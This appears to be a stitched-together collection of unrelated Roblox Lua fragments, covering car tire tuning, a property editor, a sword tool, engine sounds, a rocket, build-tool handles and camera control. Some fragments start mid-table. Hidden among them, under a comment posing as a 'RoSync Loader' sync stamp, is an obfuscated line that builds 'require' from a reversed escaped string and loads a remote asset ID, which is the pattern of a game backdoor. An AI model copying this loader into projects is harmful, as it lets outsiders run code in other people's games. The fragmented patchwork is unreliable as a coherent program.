--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _DragRadials = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = 30 , --Don't change this
FTargetFriction = 1.2 , -- 1.18 to 1.23
FMinFriction = 0.35 , --Don't change this
RWearSpeed = 30 , --Don't change this
RTargetFriction = 1.2 , -- 1.18 to 1.23
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 1 , --Don't change this
RFrictionWeight = 1 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 20 , --Don't change this
}
local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local cValues = script.Parent.Parent:WaitForChild("Values")
local _WHEELTUNE = _AllSeason
if _Select == "DragRadials" then
_WHEELTUNE = _DragRadials
elseif _Select == "Custom" then
_WHEELTUNE = _Custom
elseif _Select == "AllTerrain" then
_WHEELTUNE = _AllTerrain
elseif _Select == "Slicks" then
_WHEELTUNE = _Slicks
elseif _Select == "SemiSlicks" then
_WHEELTUNE = _SemiSlicks
else
_WHEELTUNE = _AllSeason
end
car.DriveSeat.TireStats.Fwear.Value = _WHEELTUNE.FWearSpeed
car.DriveSeat.TireStats.Ffriction.Value = _WHEELTUNE.FTargetFriction
car.DriveSeat.TireStats.Fminfriction.Value = _WHEELTUNE.FMinFriction
car.DriveSeat.TireStats.Ffweight.Value = _WHEELTUNE.FFrictionWeight
car.DriveSeat.TireStats.Rwear.Value = _WHEELTUNE.RWearSpeed
car.DriveSeat.TireStats.Rfriction.Value = _WHEELTUNE.RTargetFriction
car.DriveSeat.TireStats.Rminfriction.Value = _WHEELTUNE.RMinFriction
car.DriveSeat.TireStats.Rfweight.Value = _WHEELTUNE.RFrictionWeight
car.DriveSeat.TireStats.TCS.Value = _WHEELTUNE.TCSOffRatio
car.DriveSeat.TireStats.Lock.Value = _WHEELTUNE.WheelLockRatio
car.DriveSeat.TireStats.Spin.Value = _WHEELTUNE.WheelspinRatio
car.DriveSeat.TireStats.Reg.Value = _WHEELTUNE.RegenSpeed
|
--RbxApi
|
local function PropertyIsHidden(propertyData)
local tags = propertyData["Tags"]
if tags then
for _,name in pairs(tags) do
if name == "Deprecated" or name == "Hidden" or name == "ReadOnly" or name == "NotScriptable" then
return true
end
end
end
return false
end
function Set(object, propertyData, value)
local propertyName = propertyData["Name"]
local propertyType = propertyData["ValueType"]
if value == nil then return end
for i,v in pairs(GetSelection()) do
if CanEditProperty(v,propertyData) then
pcall(function()
--print("Setting " .. propertyName .. " to " .. tostring(value))
v[propertyName] = value
RemoteEvent:InvokeServer("SetProperty", v, propertyName, value)
end)
end
end
end
function CreateRow(object, propertyData, isAlternateRow)
local propertyName = propertyData["Name"]
local propertyValue = object[propertyName]
--rowValue, rowValueType, isAlternate
local backColor = Row.BackgroundColor;
if (isAlternateRow) then
backColor = Row.BackgroundColorAlternate
end
local readOnly = not CanEditProperty(object, propertyData)
--if propertyType == "Instance" or propertyName == "Parent" then readOnly = true end
local rowFrame = Instance.new("Frame")
rowFrame.Size = UDim2.new(1,0,0,Row.Height)
rowFrame.BackgroundTransparency = 1
rowFrame.Name = 'Row'
local propertyLabelFrame = CreateCell()
propertyLabelFrame.Parent = rowFrame
propertyLabelFrame.ClipsDescendants = true
local propertyLabel = CreateLabel(readOnly)
propertyLabel.Text = propertyName
propertyLabel.Size = UDim2.new(1, -1 * Row.TitleMarginLeft, 1, 0)
propertyLabel.Position = UDim2.new(0, Row.TitleMarginLeft, 0, 0)
propertyLabel.Parent = propertyLabelFrame
local propertyValueFrame = CreateCell()
propertyValueFrame.Size = UDim2.new(0.5, -1, 1, 0)
propertyValueFrame.Position = UDim2.new(0.5, 0, 0, 0)
propertyValueFrame.Parent = rowFrame
local control = GetControl(object, propertyData, readOnly)
control.Parent = propertyValueFrame
rowFrame.MouseEnter:connect(function()
propertyLabelFrame.BackgroundColor3 = Row.BackgroundColorMouseover
propertyValueFrame.BackgroundColor3 = Row.BackgroundColorMouseover
end)
rowFrame.MouseLeave:connect(function()
propertyLabelFrame.BackgroundColor3 = backColor
propertyValueFrame.BackgroundColor3 = backColor
end)
propertyLabelFrame.BackgroundColor3 = backColor
propertyValueFrame.BackgroundColor3 = backColor
return rowFrame
end
function ClearPropertiesList()
for _,instance in pairs(ContentFrame:GetChildren()) do
instance:Destroy()
end
end
local selection = Gui:FindFirstChild("Selection", 1)
function displayProperties(props)
for i,v in pairs(props) do
pcall(function()
local a = CreateRow(v.object, v.propertyData, ((numRows % 2) == 0))
a.Position = UDim2.new(0,0,0,numRows*Row.Height)
a.Parent = ContentFrame
numRows = numRows + 1
end)
end
end
function checkForDupe(prop,props)
for i,v in pairs(props) do
if v.propertyData.Name == prop.Name and v.propertyData.ValueType.Category == prop.ValueType.Category and v.propertyData.ValueType.Name == prop.ValueType.Name then
return true
end
end
return false
end
function sortProps(t)
table.sort(t,
function(x,y) return x.propertyData.Name < y.propertyData.Name
end)
end
function showProperties(obj)
ClearPropertiesList()
if obj == nil then return end
local propHolder = {}
local foundProps = {}
numRows = 0
for _,nextObj in pairs(obj) do
if not foundProps[nextObj.className] then
foundProps[nextObj.className] = true
for i,v in pairs(RbxApi.GetProperties(nextObj.className)) do
local suc, err = pcall(function()
if not (PropertyIsHidden(v)) and not checkForDupe(v,propHolder) then
if string.find(string.lower(v.Name),string.lower(propertiesSearch.Text)) or not searchingProperties() then
table.insert(propHolder,{propertyData = v, object = nextObj})
end
end
end)
--[[if not suc then
warn("Problem getting the value of property " .. v.Name .. " | " .. err)
end --]]
end
end
end
sortProps(propHolder)
displayProperties(propHolder)
ContentFrame.Size = UDim2.new(1, 0, 0, numRows * Row.Height)
scrollBar.ScrollIndex = 0
scrollBar.TotalSpace = numRows * Row.Height
scrollBar.Update()
end
|
--Variable for the current camera
|
local cc = workspace.CurrentCamera
|
--------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------MELEE---------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------------
|
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = Tool.Handle
SlashSound.Volume = .7
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
if not humanoid then return end
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid ~= hum and hum ~= nil and game.Players:playerFromCharacter(humanoid.Parent) and game.Players:playerFromCharacter(humanoid.Parent).TeamColor~=cc then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(160)
wait(1)
untagHumanoid(humanoid)
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function lunge()
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0
script:WaitForChild("Rev")
if not FE then
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
for i,v in pairs(script:GetChildren()) do
v.Parent=car.DriveSeat
end
car.DriveSeat.Rev:Play()
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
car.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2
end
else
local handler = car.AC6_FE_Sounds
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
local pitch=0
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
pitch = (script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2
handler:FireServer("updateSound","Rev",script.Rev.SoundId,pitch,script.Rev.Volume)
end
end
|
--!strict
|
return function (system, particleRef)
warn("Particle Died, Info Follows")
warn("CFrame:", particleRef.CFrame)
warn("Color:", particleRef.Color)
warn("Children:", particleRef.Children)
end
|
--NOTE: We create the rocket once and then clone it when the player fires
|
local Rocket = Instance.new('Part') do
-- Set up the rocket part
Rocket.Name = 'Rocket'
Rocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size
Rocket.Size = ROCKET_PART_SIZE
Rocket.CanCollide = false
-- Add the mesh
local mesh = Instance.new('SpecialMesh', Rocket)
mesh.MeshId = MISSILE_MESH_ID
mesh.Scale = MISSILE_MESH_SCALE
-- Add fire
local fire = Instance.new('Fire', Rocket)
fire.Heat = 5
fire.Size = 2
-- Add a force to counteract gravity
local bodyForce = Instance.new('BodyForce', Rocket)
bodyForce.Name = 'Antigravity'
bodyForce.force = Vector3.new(0, Rocket:GetMass() * GRAVITY_ACCELERATION, 0)
-- Clone the sounds and set Boom to PlayOnRemove
local swooshSoundClone = SwooshSound:Clone()
swooshSoundClone.Parent = Rocket
local boomSoundClone = BoomSound:Clone()
boomSoundClone.PlayOnRemove = true
boomSoundClone.Parent = Rocket
-- Finally, clone the rocket script and enable it
|
-- declarations
|
local head = script.Parent
local sound = head:findFirstChild("Victory")
function onTouched(part)
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
sound:play()
if part.Parent:findFirstChild("Head"):findFirstChild("face").Texture == nil then return end
part.Parent:findFirstChild("Head"):findFirstChild("face").Texture="717dea9c5a1659640155f77c84892c " end
end
script.Parent.Touched:connect(onTouched)
|
--[[ Last synced 10/19/2020 07:18 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
-- Create class
|
local Handles = {}
Handles.__index = Handles
function Handles.new(Options)
local self = setmetatable({}, Handles)
-- Create maid for cleanup on destroyal
self.Maid = Maid.new()
-- Create UI container
local Gui = Instance.new('ScreenGui')
self.Gui = Gui
Gui.Name = 'BTHandles'
Gui.IgnoreGuiInset = true
self.Maid.Gui = Gui
-- Create interface
self.IsMouseAvailable = UserInputService.MouseEnabled
self:CreateHandles(Options)
-- Get camera and viewport information
self.Camera = Workspace.CurrentCamera
self.GuiInset = GuiService:GetGuiInset()
-- Get list of ignorable handle obstacles
self.ObstacleBlacklistIndex = Support.FlipTable(Options.ObstacleBlacklist or {})
self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex)
-- Enable handle
self:SetAdornee(Options.Adornee)
self.Gui.Parent = Options.Parent
-- Return new handles
return self
end
function Handles:CreateHandles(Options)
self.Handles = {}
self.HandleStates = {}
-- Generate a handle for each side
for _, Side in ipairs(Enum.NormalId:GetEnumItems()) do
-- Create handle
local Handle = Instance.new('ImageButton')
Handle.Name = Side.Name
Handle.Image = 'rbxassetid://2347145012'
Handle.ImageColor3 = Options.Color
Handle.ImageTransparency = 0.33
Handle.AnchorPoint = Vector2.new(0.5, 0.5)
Handle.BackgroundTransparency = 1
Handle.BorderSizePixel = 0
Handle.ZIndex = 1
-- Create handle dot
local HandleDot = Handle:Clone()
HandleDot.Active = false
HandleDot.Size = UDim2.new(0, 4, 0, 4)
HandleDot.Position = UDim2.new(0.5, 0, 0.5, 0)
HandleDot.Parent = Handle
HandleDot.ZIndex = 0
-- Create maid for handle cleanup
local HandleMaid = Maid.new()
self.Maid[Side.Name] = HandleMaid
-- Add handle hover effect
HandleMaid.HoverStart = Handle.MouseEnter:Connect(function ()
Handle.ImageTransparency = 0
end)
HandleMaid.HoverEnd = Handle.MouseLeave:Connect(function ()
Handle.ImageTransparency = 0.33
end)
-- Listen for handle interactions on click
HandleMaid.DragStart = Handle.MouseButton1Down:Connect(function (X, Y)
local HandleState = self.HandleStates[Handle]
local HandlePlane = HandleState.PlaneNormal
local HandleNormal = HandleState.HandleNormal
local HandleWorldPoint = HandleState.HandleCFrame.Position
local HandleAxisLine = (HandleState.HandleViewportPosition - HandleState.AdorneeViewportPosition).Unit
-- Project viewport aim point onto 2D handle axis line
local AimAdorneeViewportOffset = Vector2.new(X, Y) - HandleState.AdorneeViewportPosition
local MappedViewportPointOnAxis = HandleAxisLine:Dot(AimAdorneeViewportOffset) * HandleAxisLine +
HandleState.AdorneeViewportPosition
-- Map projected viewport aim point onto 3D handle axis line
local AimRay = self.Camera:ViewportPointToRay(MappedViewportPointOnAxis.X, MappedViewportPointOnAxis.Y)
local AimDistance = (HandleWorldPoint - AimRay.Origin):Dot(HandlePlane) / AimRay.Direction:Dot(HandlePlane)
local AimWorldPoint = (AimDistance * AimRay.Direction) + AimRay.Origin
-- Calculate dragging distance offset
local DragDistanceOffset = HandleNormal:Dot(AimWorldPoint - HandleWorldPoint)
-- Run drag start callback
if Options.OnDragStart then
Options.OnDragStart()
end
local function ProcessDragChange(AimScreenPoint)
local HandleAxisLine = (HandleState.HandleViewportPosition - HandleState.AdorneeViewportPosition).Unit
-- Project screen aim point onto 2D handle axis line
local AdorneeScreenPosition = HandleState.AdorneeViewportPosition - self.GuiInset
local AimAdorneeScreenOffset = Vector2.new(AimScreenPoint.X, AimScreenPoint.Y) - AdorneeScreenPosition
local MappedScreenPointOnAxis = HandleAxisLine:Dot(AimAdorneeScreenOffset) * HandleAxisLine +
AdorneeScreenPosition
-- Map projected screen aim point onto 3D handle axis line
local AimRay = self.Camera:ScreenPointToRay(MappedScreenPointOnAxis.X, MappedScreenPointOnAxis.Y)
local AimDistance = (HandleWorldPoint - AimRay.Origin):Dot(HandlePlane) / AimRay.Direction:Dot(HandlePlane)
local AimWorldPoint = (AimDistance * AimRay.Direction) + AimRay.Origin
-- Calculate distance dragged
local DragDistance = HandleNormal:Dot(AimWorldPoint - HandleWorldPoint) - DragDistanceOffset
-- Run drag step callback
if Options.OnDrag then
Options.OnDrag(Side, DragDistance)
end
end
-- Create maid for dragging cleanup
local DragMaid = Maid.new()
HandleMaid.Dragging = DragMaid
-- Perform dragging when aiming anywhere (except handle)
DragMaid.Drag = Support.AddUserInputListener('Changed', {'MouseMovement', 'Touch'}, true, function (Input)
ProcessDragChange(Input.Position)
end)
-- Perform dragging while aiming at handle
DragMaid.InHandleDrag = Handle.MouseMoved:Connect(function (X, Y)
local AimScreenPoint = Vector2.new(X, Y) - self.GuiInset
ProcessDragChange(AimScreenPoint)
end)
-- Finish dragging when input ends
DragMaid.DragEnd = Support.AddUserInputListener('Ended', {'MouseButton1', 'Touch'}, true, function (Input)
HandleMaid.Dragging = nil
end)
-- Fire callback when dragging ends
DragMaid.Callback = function ()
coroutine.wrap(Options.OnDragEnd)()
end
end)
-- Finish dragging when input ends while aiming at handle
HandleMaid.InHandleDragEnd = Handle.MouseButton1Up:Connect(function ()
HandleMaid.Dragging = nil
end)
-- Save handle
Handle.Parent = self.Gui
self.Handles[Side.Name] = Handle
end
end
function Handles:Hide()
-- Make sure handles are enabled
if not self.Running then
return self
end
-- Pause updating
self:Pause()
-- Hide UI
self.Gui.Enabled = false
end
function Handles:Pause()
self.Running = false
end
local function IsFirstPerson(Camera)
return (Camera.CFrame.p - Camera.Focus.p).magnitude <= 0.6
end
function Handles:Resume()
-- Make sure handles are disabled
if self.Running then
return self
end
-- Allow handles to run
self.Running = true
-- Keep handle positions updated
for Side, Handle in pairs(self.Handles) do
local UnitVector = Vector3.FromNormalId(Side)
coroutine.wrap(function ()
while self.Running do
self:UpdateHandle(Handle, UnitVector)
RunService.RenderStepped:Wait()
end
end)()
end
-- Ignore character whenever character enters first person
if Players.LocalPlayer then
coroutine.wrap(function ()
while self.Running do
local FirstPerson = IsFirstPerson(self.Camera)
local Character = Players.LocalPlayer.Character
if Character then
self.ObstacleBlacklistIndex[Character] = FirstPerson and true or nil
self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex)
end
wait(0.2)
end
end)()
end
-- Show UI
self.Gui.Enabled = true
end
function Handles:SetAdornee(Item)
-- Return self for chaining
-- Save new adornee
self.Adornee = Item
self.IsAdorneeModel = Item and (Item:IsA 'Model') or nil
-- Resume handles
if Item then
self:Resume()
else
self:Hide()
end
-- Return handles for chaining
return self
end
local function WorldToViewportPoint(Camera, Position)
-- Get viewport position for point
local ViewportPoint, Visible = Camera:WorldToViewportPoint(Position)
local CameraDepth = ViewportPoint.Z
ViewportPoint = Vector2.new(ViewportPoint.X, ViewportPoint.Y)
-- Adjust position if point is behind camera
if CameraDepth < 0 then
ViewportPoint = Camera.ViewportSize - ViewportPoint
end
-- Return point and visibility
return ViewportPoint, CameraDepth, Visible
end
function Handles:BlacklistObstacle(Obstacle)
if Obstacle then
self.ObstacleBlacklistIndex[Obstacle] = true
self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex)
end
end
function Handles:UpdateHandle(Handle, SideUnitVector)
local Camera = self.Camera
-- Hide handles if not attached to an adornee
if not self.Adornee then
Handle.Visible = false
return
end
-- Get adornee CFrame and size
local AdorneeCFrame = self.IsAdorneeModel and
self.Adornee:GetModelCFrame() or
self.Adornee.CFrame
local AdorneeSize = self.IsAdorneeModel and
self.Adornee:GetModelSize() or
self.Adornee.Size
-- Calculate radius of adornee extents along axis
local AdorneeRadius = (AdorneeSize * SideUnitVector / 2).magnitude
local SideCFrame = AdorneeCFrame * CFrame.new(AdorneeRadius * SideUnitVector)
local AdorneeViewportPoint, AdorneeCameraDepth = WorldToViewportPoint(Camera, SideCFrame.p)
local StudWidth = 2 * math.tan(math.rad(Camera.FieldOfView) / 2) * AdorneeCameraDepth
local StudsPerPixel = StudWidth / Camera.ViewportSize.X
local HandlePadding = math.max(1, StudsPerPixel * 14) * (self.IsMouseAvailable and 1 or 1.6)
local PaddedRadius = AdorneeRadius + 2 * HandlePadding
-- Calculate CFrame of the handle's side
local HandleCFrame = AdorneeCFrame * CFrame.new(PaddedRadius * SideUnitVector)
local HandleNormal = (HandleCFrame.p - AdorneeCFrame.p).unit
local HandleViewportPoint, HandleCameraDepth, HandleVisible = WorldToViewportPoint(Camera, HandleCFrame.p)
-- Display handle if side is visible to the camera
Handle.Visible = HandleVisible
-- Calculate handle size (12 px, or at least 0.5 studs)
local StudWidth = 2 * math.tan(math.rad(Camera.FieldOfView) / 2) * HandleCameraDepth
local PixelsPerStud = Camera.ViewportSize.X / StudWidth
local HandleSize = math.max(12, 0.5 * PixelsPerStud) * (self.IsMouseAvailable and 1 or 1.6)
Handle.Size = UDim2.new(0, HandleSize, 0, HandleSize)
-- Calculate where handles will appear on the screen
Handle.Position = UDim2.new(
0, HandleViewportPoint.X,
0, HandleViewportPoint.Y
)
-- Calculate where handles will appear in the world
local HandlePlaneNormal = (Handle.Name == 'Top' or Handle.Name == 'Bottom') and
AdorneeCFrame.LookVector or
AdorneeCFrame.UpVector
-- Save handle position
local HandleState = self.HandleStates[Handle] or {}
self.HandleStates[Handle] = HandleState
HandleState.PlaneNormal = HandlePlaneNormal
HandleState.HandleCFrame = HandleCFrame
HandleState.HandleNormal = HandleNormal
HandleState.AdorneeViewportPosition = AdorneeViewportPoint
HandleState.HandleViewportPosition = HandleViewportPoint
-- Hide handles if obscured by a non-blacklisted part
local HandleRay = Camera:ViewportPointToRay(HandleViewportPoint.X, HandleViewportPoint.Y)
local TargetRay = Ray.new(HandleRay.Origin, HandleRay.Direction * (HandleCameraDepth - 0.25))
local Target, TargetPoint = Workspace:FindPartOnRayWithIgnoreList(TargetRay, self.ObstacleBlacklist)
if Target then
Handle.ImageTransparency = 1
elseif Handle.ImageTransparency == 1 then
Handle.ImageTransparency = 0.33
end
end
function Handles:Destroy()
-- Pause updating
self.Running = nil
-- Clean up resources
self.Maid:Destroy()
end
return Handles
|
-- Setup gesture area that camera uses while DynamicThumbstick is enabled
|
local function OnCharacterAdded(character)
if UserInputService.TouchEnabled then
if PlayerGui then
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "GestureArea"
ScreenGui.Parent = PlayerGui
GestureArea = Instance.new("Frame")
GestureArea.BackgroundTransparency = 1.0
GestureArea.Visible = true
GestureArea.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
layoutGestureArea(PortraitMode)
GestureArea.Parent = ScreenGui
end
for _, child in ipairs(LocalPlayer.Character:GetChildren()) do
if child:IsA("Tool") then
IsAToolEquipped = true
end
end
character.ChildAdded:Connect(function(child)
if child:IsA("Tool") then
IsAToolEquipped = true
end
end)
character.ChildRemoved:Connect(function(child)
if child:IsA("Tool") then
IsAToolEquipped = false
end
end)
end
end
if LocalPlayer then
if LocalPlayer.Character ~= nil then
OnCharacterAdded(LocalPlayer.Character)
end
LocalPlayer.CharacterAdded:connect(function(character)
OnCharacterAdded(character)
end)
end
local function positionIntersectsGuiObject(position, guiObject)
if position.X < guiObject.AbsolutePosition.X + guiObject.AbsoluteSize.X
and position.X > guiObject.AbsolutePosition.X
and position.Y < guiObject.AbsolutePosition.Y + guiObject.AbsoluteSize.Y
and position.Y > guiObject.AbsolutePosition.Y then
return true
end
return false
end
local function GetRenderCFrame(part)
return part:GetRenderCFrame()
end
local function CreateCamera()
local this = {}
local R15HeadHeight = R15_HEAD_OFFSET
function this:GetActivateValue()
return 0.7
end
function this:IsPortraitMode()
return PortraitMode
end
function this:GetRotateAmountValue(vrRotationIntensity)
vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
if vrRotationIntensity then
if vrRotationIntensity == "Low" then
return VR_LOW_INTENSITY_ROTATION
elseif vrRotationIntensity == "High" then
return VR_HIGH_INTENSITY_ROTATION
end
end
return ZERO_VECTOR2
end
function this:GetRepeatDelayValue(vrRotationIntensity)
vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
if vrRotationIntensity then
if vrRotationIntensity == "Low" then
return VR_LOW_INTENSITY_REPEAT
elseif vrRotationIntensity == "High" then
return VR_HIGH_INTENSITY_REPEAT
end
end
return 0
end
this.ShiftLock = false
this.Enabled = false
local isFirstPerson = false
local isRightMouseDown = false
local isMiddleMouseDown = false
this.RotateInput = ZERO_VECTOR2
this.DefaultZoom = LANDSCAPE_DEFAULT_ZOOM
this.activeGamepad = nil
local tweens = {}
this.lastSubject = nil
this.lastSubjectPosition = Vector3.new(0, 5, 0)
local lastVRRotation = 0
local vrRotateKeyCooldown = {}
local isDynamicThumbstickEnabled = false
-- Check for changes in ViewportSize to decide if PortraitMode
local CameraChangedConn = nil
local workspaceCameraChangedConn = nil
local function onWorkspaceCameraChanged()
if UserInputService.TouchEnabled then
if CameraChangedConn then
CameraChangedConn:Disconnect()
CameraChangedConn = nil
end
local newCamera = workspace.CurrentCamera
if newCamera then
local size = newCamera.ViewportSize
PortraitMode = size.X < size.Y
layoutGestureArea(PortraitMode)
DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM
CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
size = newCamera.ViewportSize
PortraitMode = size.X < size.Y
layoutGestureArea(PortraitMode)
DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM
end)
end
end
end
workspaceCameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onWorkspaceCameraChanged)
if workspace.CurrentCamera then
onWorkspaceCameraChanged()
end
function this:GetShiftLock()
return ShiftLockController:IsShiftLocked()
end
function this:GetHumanoid()
local player = PlayersService.LocalPlayer
return findPlayerHumanoid(player)
end
function this:GetHumanoidRootPart()
local humanoid = this:GetHumanoid()
return humanoid and humanoid.Torso
end
function this:GetRenderCFrame(part)
GetRenderCFrame(part)
end
local STATE_DEAD = Enum.HumanoidStateType.Dead
-- HumanoidRootPart when alive, Head part when dead
local function getHumanoidPartToFollow(humanoid, humanoidStateType)
if humanoidStateType == STATE_DEAD then
local character = humanoid.Parent
if character then
return character:FindFirstChild("Head") or humanoid.Torso
else
return humanoid.Torso
end
else
return humanoid.Torso
end
end
local HUMANOID_STATE_DEAD = Enum.HumanoidStateType.Dead
function this:GetSubjectPosition()
local result = nil
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if cameraSubject then
if cameraSubject:IsA('Humanoid') then
local humanoidStateType = cameraSubject:GetState()
if VRService.VREnabled and humanoidStateType == STATE_DEAD and cameraSubject == this.lastSubject then
result = this.lastSubjectPosition
else
local humanoidRootPart = getHumanoidPartToFollow(cameraSubject, humanoidStateType)
if humanoidRootPart and humanoidRootPart:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(humanoidRootPart)
local heightOffset = ZERO_VECTOR3
if humanoidStateType ~= STATE_DEAD then
heightOffset = cameraSubject.RigType == Enum.HumanoidRigType.R15 and R15HeadHeight or HEAD_OFFSET
end
result = subjectCFrame.p +
subjectCFrame:vectorToWorldSpace(heightOffset + cameraSubject.CameraOffset)
end
end
elseif cameraSubject:IsA('VehicleSeat') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
local offset = SEAT_OFFSET
if VRService.VREnabled then
offset = VR_SEAT_OFFSET
end
result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(offset)
elseif cameraSubject:IsA('SkateboardPlatform') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p + SEAT_OFFSET
elseif cameraSubject:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p
elseif cameraSubject:IsA('Model') then
result = cameraSubject:GetModelCFrame().p
end
end
this.lastSubject = cameraSubject
this.lastSubjectPosition = result
return result
end
function this:ResetCameraLook()
end
function this:GetCameraLook()
return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1)
end
function this:GetCameraZoom()
if this.currentZoom == nil then
local player = PlayersService.LocalPlayer
this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, this.DefaultZoom) or this.DefaultZoom
end
return this.currentZoom
end
function this:GetCameraActualZoom()
local camera = workspace.CurrentCamera
if camera then
return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
end
end
function this:GetCameraHeight()
if VRService.VREnabled and not this:IsInFirstPerson() then
local zoom = this:GetCameraZoom()
return math.sin(VR_ANGLE) * zoom
end
return 0
end
function this:ViewSizeX()
local result = 1024
local camera = workspace.CurrentCamera
if camera then
result = camera.ViewportSize.X
end
return result
end
function this:ViewSizeY()
local result = 768
local camera = workspace.CurrentCamera
if camera then
result = camera.ViewportSize.Y
end
return result
end
local math_asin = math.asin
local math_atan2 = math.atan2
local math_floor = math.floor
local math_max = math.max
local math_pi = math.pi
local Vector2_new = Vector2.new
local Vector3_new = Vector3.new
local CFrame_Angles = CFrame.Angles
local CFrame_new = CFrame.new
function this:ScreenTranslationToAngle(translationVector)
local screenX = this:ViewSizeX()
local screenY = this:ViewSizeY()
local xTheta = (translationVector.x / screenX)
local yTheta = (translationVector.y / screenY)
return Vector2_new(xTheta, yTheta)
end
function this:MouseTranslationToAngle(translationVector)
local xTheta = (translationVector.x / 1920)
local yTheta = (translationVector.y / 1200)
return Vector2_new(xTheta, yTheta)
end
function this:RotateVector(startVector, xyRotateVector)
local startCFrame = CFrame_new(ZERO_VECTOR3, startVector)
local resultLookVector = (CFrame_Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame_Angles(-xyRotateVector.y,0,0)).lookVector
return resultLookVector, Vector2_new(xyRotateVector.x, xyRotateVector.y)
end
function this:RotateCamera(startLook, xyRotateVector)
if VRService.VREnabled then
local yawRotatedVector, xyRotateVector = self:RotateVector(startLook, Vector2.new(xyRotateVector.x, 0))
return Vector3_new(yawRotatedVector.x, 0, yawRotatedVector.z).unit, xyRotateVector
else
local startVertical = math_asin(startLook.y)
local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y)
return self:RotateVector(startLook, Vector2_new(xyRotateVector.x, yTheta))
end
end
function this:IsInFirstPerson()
return isFirstPerson
end
-- there are several cases to consider based on the state of input and camera rotation mode
function this:UpdateMouseBehavior()
-- first time transition to first person mode or shiftlock
if isFirstPerson or self:GetShiftLock() then
pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end)
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
end
else
pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end)
if isRightMouseDown or isMiddleMouseDown then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
else
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
function this:ZoomCamera(desiredZoom)
local player = PlayersService.LocalPlayer
if player then
